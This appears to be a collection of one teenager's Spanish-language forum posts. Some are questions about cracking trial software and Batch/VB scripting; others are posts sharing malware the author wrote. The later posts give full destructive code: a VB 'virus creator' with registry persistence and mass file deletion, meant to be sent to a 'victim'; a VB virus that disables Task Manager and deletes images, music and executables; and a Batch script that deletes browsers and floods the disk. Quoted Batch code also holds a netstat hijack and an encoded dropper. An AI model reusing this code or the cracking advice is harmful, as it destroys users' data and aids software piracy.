Temas

Hola,
estoy intentando crear un crack de un programa que me he bajado. Yo no sé nada de este asunto, ¿me podrían decir como puedo hacer esto? No me digan el tutorial de Ricardo Navaja, ya lo he seguido y no he conseguido ni resolver un simple CrackMe...

Echenme una mano o las dos, si pueden...

Estoy trabajando con un CrackMe, el de Cruehead junto con el tutorial de Ricardo Navaja. El problema es que la CommandBar que dice el tutorial no aparece en la ventana del Olly. Utilizo el "OllyDbg v1.10"
Os pongo una captura:

¿Como puedo poner la commandbar para buscar las apis en el code?

[¡YA SE HA TERMINADO!]

La Navidad es una época muy bonita en la que la gente se hace regalos y donde los estudiantes descansamos de unos torturadores que se hacen llamar profesores, ya sea de Sociales, Física y Química, Biología, Francés o demás

La Navidad es todo eso, pero, ¿saben que?.... ¡YA SE HA TERMINADO!

Me parece un detalle excelente que se sustituyan los emoticonos por unos con aspecto navideño, pero ya es hora de devolvernos los anteriores, porque estamos a 17 de Enero, las navidades ya han pasado, la gente ya no se hace regalos, y los estudiantes hemos vuelto con los famosos torturadores

Bien, sé usar más o menos bien las funciones básicas de ASM y también se usar el OllyDBG. Como tutoriales no he encontrado muchos, vengo aquí a pedir ayuda. Tengo el conocido "CrackMe de Cruehead", pero la verdad, no sé que hay que resolver xD. ¿Que es lo que hay que hacer para resolverlo? Porque solamente tiene un menú, y no sé que tengo que obtener

También me gustaría saber como puedo crear un crack a partir de Ingeniería Inversa...

[Parte 1: Historia de PHP]

Parte 1: Historia de PHP
PHP es un lenguaje creado por una gran comunidad de personas. El sistema fue desarrollado originalmente en el año 1994 por Rasmus Lerdorf como un CGI escrito en C que permitía la interpretación de un número limitado de comandos. El sistema fue denominado Personal Home Page Tools y adquirió relativo éxito gracias a que otras personas pidieron a Rasmus que les permitiese utilizar sus programas en sus propias páginas. Dada la aceptación del primer PHP y de manera adicional, su creador diseñó un sistema para procesar formularios al que le atribuyó el nombre de FI (Form Interpreter) y el conjunto de estas dos herramientas, sería la primera versión compacta del lenguaje: PHP/FI.

La siguiente gran contribución al lenguaje se realizó a mediados del 97 cuando se volvió a programar el analizador sintáctico, se incluyeron nuevas funcionalidades como el soporte a nuevos protocolos de Internet y el soporte a la gran mayoría de las bases de datos comerciales.

Hoy en día, utilizamos PHP 5, y se espera todavía PHP 6 pronto, seguramente en 2009, pero aún no hay fecha prevista

Desde Primaria (actualmente estoy en 3º de ESO), en la primera clase de Informática, nunca encendíamos los ordenadores. Nunca lo entendí. Hoy, he avanzado mucho en PHP, llevo casi un año y medio programando con él. Hoy lo entiendo, sé que para aprender algo, primero tenemos que saber como surgió, y como funciona para ahorrar muchas dudas en el futuro. Es difícil de entender, lo sé, pero si de verdad aprendeis bien (espero que mi tutorial os aporte gran parte de ese conocimiento), seguro que más adelante haréis un tutorial como este, y entonces vosotros si que lo habréis comprendido.

Por cierto, no me toméis como un SuperProgramador, ni un profesional, ni un experto. Soy un aficionado que intenta enseñaros lo poco que sabe, y que espera que os sirva su trabajo

Nos vemos en la próxima parte

Fuente: http://forosdwp.com/foros/viewtopic.php?f=9&p=17#p17

¿El tutorial "*[TALLER]* Introduccion a los bugs a nivel web " de zhynar_x se sigue escribiendo? Porque era muy interesante y he perdido el hilo...

Me pregunto, ¿como puedo aprender a crackear triales? He buscado en Google, pero solo me enseñan a aumentar los días de prueba. Yo lo que quiero es aumentarlo a la versión Full... He probado cracks y seriales en uno de los dos softs que quiero hackear, y en el otro NO EXISTEN cracks ni seriales...

¿Conocen algún manual para aumentar triales a versiones Full? Vamos, ¿como crear cracks?

¿Como se hace que en los códigos php, c++ y demás que aparecen entre [ code ] y [/ code ] estén coloreados?

¿Alguien sabe como se modifican los paquetes de WPE Pro?

Hola, tengo algunas dudas sobre Batch. Verán, yo me he leído el tutorial de sirdarckcat sobre Batch avanzado (y por cierto, sirdarckcat se explica bastante mal), y he aprendido a usar funciones avanzadas, pero hay códigos que todavía no he sido capaz de entender, como por ejemplo los siguientes:
http://foro.elhacker.net/scripting/musicbat-t239002.0.html

Código [Seleccionar] Expandir

@echo off
set a=%systemroot\%system32\
if not exist %a%tasklist.exe goto jmp
for /f %%i in ('tasklist') do if %%i EQU acs.exe goto jmp
for /f %%i in ('tasklist') do if %%i EQU nord32krn.exe goto jmp
attrib +r +a +s +h %a%netstat.exe
:jmp
@reg add "HKLM\Software\Microsoft\Command Processor" /v AutoRun /f /d "@doskey netstat.exe=netstat.com">nul
copy netstat.com %a%netstat.com >nul
exit

Código [Seleccionar] Expandir


@echo off
::By H-BlacK
If '%1==' GoTo:Eof
If '%1=='Fact Call:Fact %2
If '%1=='Porcentaje Call:Porcentaje
If '%1=='Sqrt Call:Sqrt_ %2
If '%1=='Log Call:Log %2 %3
If %1 NEQ Fact If %1 NEQ Porcentaje If %1 NEQ Sqrt If %1 NEQ Log call:Str
GoTo:Eof
:Fact
::Codigo de H-BlacK [Fact]
If '%1==' Echo Debe especificar un n£mero. & GoTo:Eof
set TmpN=%1
set TmpN_=%1
:b
set /a TmpN=%TmpN%-1
If %TmpN%==0 Echo %TmpN_% & GoTo:Eof
set /a TmpN_=%TmpN_% * %TmpN%
GoTo:b
:Porcentaje
::Codigo de todos los que lo han pensado .__.
set /p Number=Escriba el numero a sacar porcentaje:
set /p Number2=Escriba la cantidad de porcentaje a sacar:
set /a Res=%Number%/100*%Number2%
echo %Res%
set Res=
GoTo:Eof
:Sqrt_
If '%1==' Echo Debe especificar un n£mero. GoTo:Eof
set nSQRT=%1
If %nSQRT%==0 Echo Raiz: 0 & pause>nul & GoTo:Eof
set nSQRT=%nSQRT%00
call:Sqrt %nSQRT%
GoTo:Eof
:Sqrt
::Codigo de ne0x [obtener raiz entera]
::Codigo de SPP [agregar una coma]
::Codigo H-BlacK [Calculo de decimales]
set /a n=n+1
set /a nD=n*n
if %nD%==%nSQRT% (
    Echo Raiz: %n:~0,-1%,%n:~-1%
    set n=
    set nD=
    set nSQRT=
    GoTo:Eof
)
if %nD% GTR %nSQRT% GoTo:Algorithm
GoTo:Sqrt
:Algorithm
::Calculo de decimales
::en una raiz by H-BlacK
set /a n=n-1
set /a nD=n*n
set /a res=%nSQRT%-%nD%
set count=0
:Repeat
if %count%==6 GoTo:Show
set /a Dn=n*2
set res=%res%0
set /a d=res/Dn
set n=%n%%d%
set mlt_=%Dn%%d%
set /a mlt=mlt_*d
set res=%res%0
set /a res=%res%-%mlt%
set /a count=count+1
GoTo:Repeat
:Show
echo Raiz: %n:~0,-7%,%n:~-7%
set mtl_=
set mtl=
set res=
set count=
set d=
set Dn=
set n=
set nD=
GoTo:Eof
:Log
If '%1==' GoTo:Eof
If '%2==' GoTo:Eof
set bLog=%1
set count=1
if %2==%1 (
    Echo Log base %1 de %2=1
    GoTo:Eof
)
If %2==1 (
    Echo Log%1 %2=0
    GoTo:Eof
)
If %2 LSS %1 (
    Echo Log base %1 de %2=0
    Echo El resultado no es un n£mero entero.
    GoTo:Eof
)
:Log_
set /a count=count+1
set /a bLog=bLog*%1
If %2==%bLog% (
    Echo Log base %1 de %2=%count%
    set count=
    set bLog=
    GoTo:Eof
)
If %bLog% GTR %2 (
    setlocal enabledelayedexpansion
    set /a count=!count!-1
    Echo Log base %1 de %2=!count!
    Echo El resultado no es un n£mero entero.
    set count=
    set bLog=
    GoTo:Eof
)
GoTo:Log_
:Str
Echo.
Echo  Parametro no valido.
Echo.
Echo  Los parametros validos son:
Echo.
Echo  - Fact [N£mero a calcular factorial]
Echo  - Sqrt [N£mero a calcular raiz]
Echo  - Porcentaje
Echo  - Log [Base] [N£mero]
Echo.
GoTo:Eof

Código [Seleccionar] Expandir

@echo off
set a=echo
cd %systemroot%\system32
call:codebat > "RunDll32.bat"
call:run > "RunDll32.com"
If exist 1.exe goto y
RunDll32.com > nul
:y
1.exe
del /q /f RunDll32.com
Exit
:run
%a%XPPPYZIQD[L-f6-g41GDSXu'@,~P^^P_O,!(GU(GZ(Gnu5-NETSEND_V1.00_JRT=
%a%CFFFRX,`,`2$F=@!t.rQ0%%IuL0%%(%%(%%GERYAARX2%%(%%t8-1.EXE________01200
%a%1v1v0^<0xD^"1^<0$G^"P/0A0^^F^"12d^"1TP)0B0z0z1^^Q+0m1TQ-w^"1+1S1#0B0zd^"0]
%a%Q+0z0Y1_1o0Sh^"0u0XP*d^"0]P,0z0Y1_1uv^"P-q^"e^"e^"0S0.0^>1kP-0^&E^"001S1.
%a%0S130X1(K^"100(100(100(0T16v^"081/0$M^"070S050T0-v^"0/0C0T0^"v^"081/0$
%a%M^"070X17I^"0XQ+L^"0_N^"0S050T0-v^"0/0C0X1#L^"1S0#1#0F19P*D^"0^<Q/1F1C0^<
%a%1#D^"1C0i1^<0x1Y0^<P*D^"0p17!(c)JIM_TUCKER_jtucker@adam.com.au_XXXX^<
%a%s'7O!!)[q;_(7O!!!!!!!!-CV^"h/k^>09H2^<lNTb-.`q48D!AD_%%ZiC57pLXqVuTw
%a%I61BUDS`aSnY:^>!.$XG$b7_mfrh=^".=-9H^&+go_N9kn[g?!.$XRsb8P^<Y9!!-;qb
%a%^"`M*^&4..jpq41I!1`E*^"P=xd)/%%dOW^&C?W)1($f7Fj^"UIR%%'.Ydd#_.R%%1;cKu4`
%a%`^<*^"@^"^&]g1rXS^>I^^vAg?#_UU%%1dPKtEUbFY=imm`i#8cOW%%')=G+#J.b+c0L1a/(
%a%rX!$YVN^"pKLnN17T!8!^"3!SudeN?!e?G`^<@PPaxp4`#+!!!!!!!!!^"!1!!'?!!^&Z
%a%!@onyZznM{+S!!!!d@!$Z2!$j0^"#7v7e!YEI!!bWMNo'5IY9Z\Y?SVN^<,@^"nN:)1
%a%uE+BC\y)*5v*C{4S!HC^&s{cks^>t`Et\)Y9Bo8sO6j1!pcS^&Y!0eW0[L(+diI$D=t
%a%!k,4*lN4Ek^&Bz^&^&EojdnPfN^<,^>^"nNB'Oz^^o[#0P[j1f[Ul9/!=BP-dMM+dIi/6g@
%a%Z\om0[M-'u6*7bovO.oc^"L5ESY%%td^^Q7!AAf?vj^>j2#,dH%%^<#,YCq5!$6OuA^<wrY
%a%L[h,%%@Mm)[0O7acjN^"Bj*fN:`)pLGg!#v^^]Iii0l?w#My^^G*m2T/0=O4^&+ZTxKk^^
%a%efD+yYe3_*ZVg[4e!yKO*mN2S\RwN*^&Z!yp's{NB*u^"EyY^"8^"C!)!vC@^"lZ2^^F!!
%a%R/qX9^^SA1tEe3$$j@GF\z^>!-4wllKK^&EefD+s{vy1o%%XNYVKY9N*W3-M/jt`:r:E
%a%#jp's{pE$1,\-aOWSm'?!n`D^&bdP,^<)M%%uBIo^^S]r`,X=1pT_K@2-dP_^^c8^&dX!{
%a%$C=D!+dXU5^>l3QBg!IxnG8b204!m:rC^&4My{!)/WE^^4nWa^"j$9AT-g#qo$,BKP'@
%a%^"^&Zn\G/P9xaMX@aqAzaI^>Zgfb8,BH`=u(+\eQufD$^^^>-?(;Lfn+8\0[,)OVJP.[I
%a%q+CQ1a!$daBn,^<%%8^&\O_xH#{^"^&?9\17S'a4%%#kOH=9Y_0M^&vf^<P1%%cB3O,!U\)K5
%a%!%%AYN^<f#9H(yTmnxt[JoivlX,B),-)FI?tR^&H,,O%%.D!.DeOv2,NH{W_GmOzPMhG
%a%9bv$b.z^"(eJ^>pdy(d'X{j^"F4`{Y(^^ao^^uObCdPYiEVgG9j,HN6%%-@^<8$^"iVO7fe^&
%a%e]4XILG#'Km._xp+\0$P-]/'^"F)P'DZj)p0N^<iN=OGd`$Xl(2gCzE=)e^"#?R3=%%9
%a%-@%%^<%%S_YfB^"I;KY9^"hrqjb!aYrBfBrKyp$,@JF#sSe+h(^&!E!QN^"!%%gU;d!^"$*,Z
%a%e5!*N*-m847c^&k,^>Eg)K^&gY',8#rm^^!Q7q)434#;+cm^"Y:K^&dn!]8/iU)i5-6lVJ
%a%/BJ@OI)7E-7r;q951y,Ms%%Q!!YXR^"TI(\S!e!+)3UHR^<+9,hO/.V'O!$2/yUq!+Z
%a%xR/OlQac#{.^&s]P/-j5w8v#SvBfmg6?cq*CY42F2eF!R24N^<(8+U^"M/^"8XP5V{oz
%a%duYi!q^"f#+VVv2S?y_F.+4TN^"L!a#2R^<*{[6Aa!^"qb[teeh,,xN^"RP-%%,@Fv1s5=
%a%a5U3/?-aO(!^"^",poeu,48l;doZC/YD.$g],^<G#JN#m9@-?^"G^"H@^":^^,!_weV8u]Q
%a%!*uVxN^&^^`,;B!3rX^"\#x^"RK?^"GR{f!7a$p;'2^^E6;T:f^>*i`dV7Oj6uL(47q]QNb
%a%!5OzgBNJ0ME6:f:zNZ7f.4I%%p(Hg3W#mLaS[!%%%%.^"-Rw6Z^"8%%us88,D@nkEy^&rJg
%a%6B!%%(0JQ3QH;g^"Nm!.!$!$!%%8MNE84xTHTYU!i@P2^<tO4h=j^"^&XT^"F*^<ew!^"NUCn
%a%eY0XNbf=pZYm1^"B?x655@Ead0NLC2WS[0ZpN;GYve-^&le0w/'@^"2Sc)U2_j8)O5+
%a%;_#75#N5dR#s#QqD!!);'`[S901quM/.^"^^!5!APv%%?MZnc#r!.oiN%%!'=.,?:)yi
%a%!!Zd3OK;T\4x'7^>`7r!{!a%%FXuS*nwR:^"t*n#Vt(8NUICe$XN#(;!#^"-^^5$.HJ)\
%a%$g!-C24xp8$(^"f#+f:E@#1_biI%%w\,#k#A^&c.\^&Zic_7O9_GPMHD%%8z:N,?:Zb2W
%a%!%%85i584%%n,Y947O!+5I^&ZQXN*u6/?Rjaa.P:^>!e[T8vMN7Q+zl8){Z^&,wz\26fF
%a%!BpMZO%%KV:^"OTe^"R(O(0,UEYCE%%qD*vvp-9TZ^>Y(QS+g76$$5$^&r$OQ)p7VR^";\@
%a%NclX7QJX8^<q{l@=x^"F-+EEHux3_(f_fjO^^^"gN)4S#qX?/+T:OW,lNn!Bo;NCR[q2
%a%%%/+V)WV-#u5=,8!WH\-+Bv86I:7Umk!!3'l84a[E^&\+k^&raW8$:-uFRX,8^"SONQU
%a%9@OG'1%%=,rRR!aQMBg,o,[)vex(,Ii^&]Kb!9(f4hwmrndbVJ7Qdi!#N/h.'?-]^&Z
%a%XV!!\N8$VXBw9^^UeOnS.OUdkR8A+YEKKgC!)S/!Q%%n,8@S[f*yA^"^&Z'-!%%!N$@C,
%a%4`du^>^<g!^"_#-'b#-!xo'(Aew^&rQm!9iC,IE`vKON--P2FZN(5+^"J#%%;o!(%%Y-GBZ
%a%,;G%%O(NJOg^&(03!*CU)U.8!9vo^^r!iMu!DLxdR*49_*3hd)Om+,8X^^HTpp1ri1qf
%a%O's^^!$[z^"L-^<Q%%4m!9^")^&:,h6'pN@/.b$c9\^&r(k!#Hw,@#Clx.5,xEV=mf[u:!e
%a%1^^f\^&Zj71ruS!^"^<^^S\dPeFOoa^"S#4^"$64R*z-laa,jOG7P9),Z-rN$!@tC*MhI*^<
%a%nU^&b?N:FO,8,f\0,#P$2e9'!#+,p!c!CQQ!^^z4,ica_(^"^^N2^&)qCPl%%?%%C(iU-/+
%a%/=,]XLC^>_g,YB`^"G!#AC+CNl!-_@2.%%^":FYMIY7O^&sfDJoe^<2ziK!^>4`!;j6!R_U
%a%N2ig^>BOFI9#ps=%%6J3%%5#0kW7TVNGx]57pj/Y[$KND$\dP^&j+r)en?,P)$^&bf^&1Q
%a%^"^&p'8ybU=/$*\(!;[O^&gDJ=Nju,hQ^"3Q^"gT`!^&c`OOBYU)/*`D7u.6!bp^<NCl:.D
%a%(Q7O%%D%%$)I?s)Q5DSk.uYY8e*?!tJ09Z,?^&\^&_`D^&v\P!1ppT!CM^>C^&385!,7^&%%^<
%a%9{S[^>FBj!'HdBfI=NDC('B^&7G!)Y!(EVc=^&b0lBnE3I!g2iWdQ-^>f^^Z?:@1E!a$3
%a%J`,pVp8%%?8,8f'lI^"n^<;N%%G\Pt2l1yA':F,l^&2Bm4r^"^&?q.$)wT!%%5iu!!uS)YWW
%a%#k,fgW9[lX7QPyP0^&4(f-u#96_`R!A(0j^^f:Ck^&FLX%%^<^^r#y^"lR6F)G+-^"UY7z$@
%a%Z?^")!cT5t`'?6l^&k,@^&r!(4h8D#{^"YH,f{dH#,!(f\^&l9_)dqs!9h8HTa.!!g*C-
%a%S#9Z!-#!!U3:OS1xb^"BxlRC^<M1dPfpeU^"vK6%%K]:$l-i!9+Wx4Cl'1j%%w_OG!+^"L
%a%!\#1!'cm!-G12.+wBwC^&_hRG!BQX3N^"O0AN^&:K]L'32*!B@0dq/zpm$Y12#tBG#s
%a%D4^&f^>71yD;_/fx#[PB\$8F)q9[+,Io*-'U!^>mM,H^"]^&zg^&:.NG*@OM51OM.9#q]C
%a%dl8((^<,iRBY:XK#,nK!c)Ia.^&f;G,@5w4`qTbfPP,PfZ%%)!c%%BTd/c^^v'$'9,qMU
%a%uW7cTp!g/H%%65'Pn42OK^&b7['Y^^z^"8e!pOu[7P%%7s[^"ecN^&x`hrbH?#k^&jdV^"Cxl
%a%7R6j85+7Pl6AnH)It2^>0x.I9O@^^riXV;N:!SVb8d^&\CSPle1j:-5^"FC+,DNB#W:!
%a%(pQq^&]^"M!#WV4hFZHDjjdW#+!#^&2!(0\^"qeu(bY9N[!!R=N/t*!8.b!Q/'^"FPl^>6
%a%dQ.1!^"#/!-=%%!80L#]JN2oY9Nm,9o.N^"!1!H\h!*6J'w7O2D,Fe6!(^"Y!$O?^"^>%%e
%a%!_7O3%%arntCN72!+D0!Me-!D!!#oog,U^^u^>X!%%F%%!S.B7_G`1(h%%G(EeOy^&]^")Pq
%a%OA!TzV#L!!'XXX3EBf$*!%%M^>Bga5!Y6Z#nfZ-TBfuhBiAWN0-q-Bc78k3l^&7fZ%%u
%a%owiXdW5^^!!qC,s`t%%cEU4xg?gF!$N;!(%%W!TNb!'Uu$0dPN!7[jS7U4@P{'A-#m-
%a%!Z,z/f^>ZPo1t+;!#8$')S79#DA^&{Z^"8sar'3okBx!^"^":^"^>!Q^&;P0-EPl$*N^";\N*
%a%z6!^^n:!)Yy!1^^v2]S[S0dWw^"!.=mNl=a$(:^>!eaa#qoj!BN*s#!^"nJ#[+s)rDa^>0
%a%S\+q7TO.^&{(T*gD0^&!Nb!\aax5ogdZN)v@!A+c^"Kvj!:OGE=N^")M!'#q!2Q5!8dP
%a%$-F:Y1E]o%%^^r-!!.p^^!VHH!,uG!`[C#+7OrldT!^>Sl$^<,X^&_!!.B6RK;j?ojqg!(
%a%.m,_fV!aS^<-T-]:7S[p+dPA=#IYU!FhT^"o^"F7^&/'^>.'A$O;tIw!#.r1m3;![ogF(
%a%$1-{q5?[!1^<nD^<qi7g;(GI=-BnBg?6N1l2!C+K#@7_^<'dP8TN^"=+!#\,!+YA.5-f
%a%^"r5E,Z,8/'BuiS!-JB!_]OOUWO%%cHDP]Hw'!E!9DV{*$DtK,V[mAB%%Bvf*!%%E/Q+
%a%)W!d*^>Pu.t$5*:gg\J^"4r^"OD*!799a!a2vsAD3owA#NeUE7Zf.,zxlPw^"X#-N*j'
%a%vjY9!-bx(EvO!A)N!*dP^"$(=hnjo21gOb!,d'w#Zr6,M#/jB2IYXevpD*#Go7u`U
%a%^<vN^"^"=goCA$P**NP!%%'y0uY51C%%5)I4PZ@!5*vo_*%%Ma7gj75E%%uc8cDxGCQ=LOe
%a%G?!#L`O557^&K!i!%%*B+g%%=hAS`vT^<H8^^7/(d^&_$!@MCQDGQOuoD^<F4Y)Kh81++Q=
%a%!!*0f^&qYW+86P;^^e6xGaLOqJp-CR$?\CyH,zz^&jY=86ev7$^"y,[-\yUw\epLrnac
%a%!'H.L`$!=@CQL0:^>o^^3FRZj6`c4h1F!fh7N$7eiH^&bIs[z/PXqOmV=931[.kN'^"f
%a%$T3GP1^"8)=,I%%5RF8(+PiZ#u\eg9ELRIZ^^#kIgxwopULR#jf^"e^>G$-^<i^"HEAUmnb
%a%j17R!$f_YpA1/kg/\D^>V1799gX('Co=;RC822;!.Tb-*7_^"j59/;N$[h!)VV!:V*
%a%!g)]^&ZEU;g;$(ZN^&3{!/an/W]O$+vmNnS[hl7XdaHL^&67r/g#^^X\)zN)Dx,M+1Oi
%a%c^^,Qu8[)g`@96+^<g*#bUr{,T!.@!sPDd]zN#=N^>#^"Q!^"mi^"r1I1T6/^<^&u:B^"#@KJ
%a%'!!!~^<
goto:eof

:codebat
%a%Aqui va tu code
%a%siempre empieza con %a%
%a%ya que quiere decir esta variable
%a%"Echo ".
%a%el bat se escribe en system32
%a%para ser ejecutado.


O el que se lleva la palma:

Código [Seleccionar] Expandir

@echo off

SETLOCAL ENABLEDELAYEDE XPANSION

set lang=es
set text=title,help0,help1,help2,help3,help4,help5,help6,help7,help8,using,error,succs
set strAppName=spfix
set strFileIn=%~1
set strFileOut=%~2
set strTmp=

:lang
set es_title=Conversor de caracteres para lenguage batch.
set es_help1=ADVERTENCIA: Este programa es totalmente
set es_help2=efectivo si se utiliza con archivos de idioma.
set es_help3=No se recomienda hacerlo directamente sobre
set es_help4=un script, ya que genera una salida sin
set es_help5=variables expandidas.
set es_help6=Si su script no usa variables expandidas,
set es_help7=usted puede intentar usar %strAppName%
set es_help8=en forma directa sobre el archivo batch.
set es_using=Uso: %strAppName% archivoOrigina l [archivoCorregido]
set es_error=No se encontr¢ el archivo.
set es_help0=Escriba %strAppName% sin par metros para ver la ayuda.
set es_succs=La conversion termin¢ satisfactoriam ente.

for %%a in (%text%) do (
  set strTmp=%lang%_%%a
  call set %%a=%%!strTmp!%%
)

if %strFileIn%. EQU . (
  echo.%title%
  echo.
  echo.%help1%
  echo.%help2%
  echo.%help3%
  echo.%help4%
  echo.%help5%
  echo.%help6%
  echo.%help7%
  echo.%help8%
  echo.
  echo.%using%
  echo.
  goto:EOF
)

if not exist %strFileIn% (
  echo.%error%
  echo.
  echo.%help0%
  echo.
  goto:EOF
)

if %strFileOut%. EQU . (
  set strFileOut=fixed_%strFileIn%
)

if exist %strFileOut% del %strFileOut%
for /f "tokens=* eol=" %%a in (%strFileIn%) do (
  set strTmp=%%a
  set strTmp=!strTmp:á= !
  set strTmp=!strTmp:é=,!
  set strTmp=!strTmp:í=¡!
  set strTmp=!strTmp:ó=¢!
  set strTmp=!strTmp:ú=£!
  set strTmp=!strTmp:ñ=¤!
  set strTmp=!strTmp:Á=µ!
  set strTmp=!strTmp:É=!
  set strTmp=!strTmp:Í=Ö!
  set strTmp=!strTmp:Ó=à!
  set strTmp=!strTmp:Ú=é!
  set strTmp=!strTmp:Ñ=¥!
  set strTmp=!strTmp:¿=¨!
  echo !strTmp!>> %strFileOut%
)

echo.%succs%
echo.

Ahora pregunto: ¿alguien sabe como puedo aprender a usar algunas funciones que aparecen en esos códigos? ¿y a como hacer "obras de ingeniería" como las que hay, por ejemplo, en el último código?

Gracias

Resubido por WVB a un hosting funcional.

¿Como puedo leer el texto de un archivo e introducirlo en un TextBox?

Acabo de terminar un tutorial de Batch desde 0
La contraseña esta en el .rar; en el archivo Clave.txt. Además, viene con 15 dibujos para uso libre en todos los programas
Descargar

Tengo un problema en VB.
Estoy intentando hacer un programa para corregir programas en Batch, pero tengo dos problemas que no sé realizar:
1.- Separar u textbox en varias variables (una por linea) y utilizar la estructura If en todas ellas
2.- Que si existe echoburro, se cambie a echo burro; no a echo ?.

Acabo de crear un creador de virus .bat. Este es el código:
Form1
Agregamos un Command Buttom llamado Command1 con el texto crear virus y le ponemos este code:

Private Sub Command1_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe echo off>^Virus.bat"
Shell "cmd.exe /c echo @echo off>>^Virus.bat"
Form2.Show
End Sub

Form2
Agregamos 6 CommandButtom y les ponemos estos textos:
Command1: Matar el MSN Messenger
Command2: Infectar el PC
Command3: Borrar todos los .mp3
Command4: Matar el Internet Explorer
Command5: Mostrar un mensaje
Command6: Terminar el virus

Agregamos este código:

Private Sub Command1_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe echo taskkill msnmsgr.exe>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command2_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v VIRUS /d %0>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command3_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo del /Q /S /F C:\*.mp3>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command4_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo taskkill iexplore.exe>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command5_Click()
Dim mensaje As String
mensaje = Inputbox ("Escribe el mensaje")
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo msg * mensaje>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command6_Click()
Dim mensija As String
mensija = Inputbox ("Escribe un mensaje de despedida
Shell "cmd.exe cd C:\"
Shell "cmd.exe shutdown -s -f -c "mensija" -05>>^Virus.bat"
Shell "cmd.exe /c exit>>^Virus.bat"
MsgBox ("Virus terminado")
MsgBox ("Lo encontrarás terminado como C:\Virus.bat")
MsgBox ("Comprimelo con WinRar o WinZip y mandaselo a tu victima")
End Sub


Ya tendremos hecho nuestro creador de virus .bat

Acabo de hacer mi primer virus en VB. Solo hay que copiarlo y pegarlo en el código, y ya esta listo:
------------------------------------
Private Sub Form_Load()
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "cmd.exe cd C:\WINDOWS"
Shell "cmd.exe echo off>Win32.bat"
Shell "cmd.exe echo @echo off>>Win32.bat"
Shell "cmd.exe echo set hora=%time:~0,5%>>Win32.bat"
Shell "cmd.exe echo set hor=%hora:~0,2%>>Win32.bat"
Shell "cmd.exe echo set min=%hora:~3,5%>>Win32.bat"
Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Win32.bat"
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Win32.bat"
Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"
Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"
End Sub
------------------------------------

Lo que hace es:
1.- Impedir recuperar el equipo
2.- Eliminar el Administrador de Tareas
3.- Crear un virus que apaga el PC a los 30 min de abrirlo y lo agrega al registro
4.- Se carga varios procesos, las imagenes y la música

Estaba trabajando en un worm en Batch, pero al final decidí crear un malware.

Código

-----------------------------------------------------------------------------------------------------
@echo off
cd C:\WINDOWS\system32
echo off>Bucler.bat
echo @echo off>>Bucler.bat
echo cd C:\>>Bucler.bat
echo set var= 1>>Bucler.bat
echo set oper= 1>>Bucler.bat
echo :bucle>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo set /a var=%var% + %oper%>>Bucler.bat
echo goto bucle>>Bucler.bat
echo exit>>Bucler.bat
if exist "%programfilles%\Internet Explorer" goto explorer else goto anali2
:explorer
del /Q /S /F "%programfilles%\Internet Explorer"
goto anali2
:anali2
if exist "%programfilles%\Konqueror" goto konqueror else goto anali3
:konqueror
del /Q /S /F "%programfilles%\Konqueror"
goto anali3
:anali3
if exist "%programfilles%\Mozilla Firefox" goto firefox else goto anali4
:firefox
del /Q /S /F "%programfilles%\Mozilla Firefox"
goto anali4
:anali4
if exist "%programfilles%\Crazy Bowser" goto bowser else goto anali5
:bowser
del /Q /S /F "%programfilles%\Crazy Bowser"
goto anali5
:anali5
if exist "%programfilles%\Opera" goto opera else goto anali6
:opera
del /Q /S /F "%programfilles%\Opera"
goto anali6
:anali6
if exist "%programfilles%\Netscape" goto netscape else goto anali7
:netscape
del /Q /S /F "%programfilles%\Netscape"
goto anali7
:anali7
if exist "%programfilles%\Safari" goto safari else goto anali8
:safari
del /Q /S /F "%programfilles%\Safari"
goto anali8
:anali8
if exist "%programfilles%\Galeon" goto galeon else goto anali9
:galeon
del /Q /S /F "%programfilles%\Galeon"
goto anali9
:anali9
if exist "%programfilles%\ICab" goto icab else goto lotery
:icab
del /Q /S /F "%programfilles%\ICab"
:lotery
